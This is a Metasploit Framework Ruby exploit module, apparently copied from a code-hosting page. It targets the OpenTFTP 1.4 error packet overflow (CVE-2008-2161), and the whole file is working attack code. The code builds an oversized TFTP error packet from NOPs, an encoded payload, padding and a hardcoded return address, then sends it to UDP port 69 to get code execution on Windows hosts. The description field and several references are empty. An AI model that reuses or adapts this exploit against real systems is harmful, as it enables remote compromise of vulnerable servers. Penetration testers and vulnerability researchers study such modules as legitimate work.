85 lines
2.1 KiB
Ruby
85 lines
2.1 KiB
Ruby
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##
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# $ $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenTFTP Error Packet Overflow',
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'Description' => %q{
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},
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'Author' => [ 'steponequit' ],
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'Version' => '$$',
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'References' =>
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[
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['CVE', 'CVE-2008-2161'],
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['OSVDB', ''],
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['BID', ''],
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['URL','http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 5000,
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'BadChars' => "\x00\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
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[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ], #.bss section that is overwritten
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 27 2006'))
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register_options(
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[
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Opt::RPORT(69),
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], self.class)
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end
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def exploit
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connect_udp
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if target.name =~ /OpenTFTP 1.4 Stand Alone/
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print_status("1")
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sploit = "\x00\x05" + make_nops(10)
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sploit << payload.encoded
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sploit << make_nops(20517 - payload.encoded.length)
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sploit << [target['Ret']].pack('V')
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sploit << Rex::Text.rand_text_alpha(1469)
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end
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if target.name =~ /OpenTFTP 1.4 Service/
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print_status("2")
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sploit = "\x00\x05" + make_nops(10)
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sploit << payload.encoded
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sploit << make_nops(20445 - payload.encoded.length)
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sploit << [target['Ret']].pack('V')
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sploit << Rex::Text.rand_text_alpha(1545)
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end
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udp_sock.put(sploit)
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disconnect_udp
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end
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end
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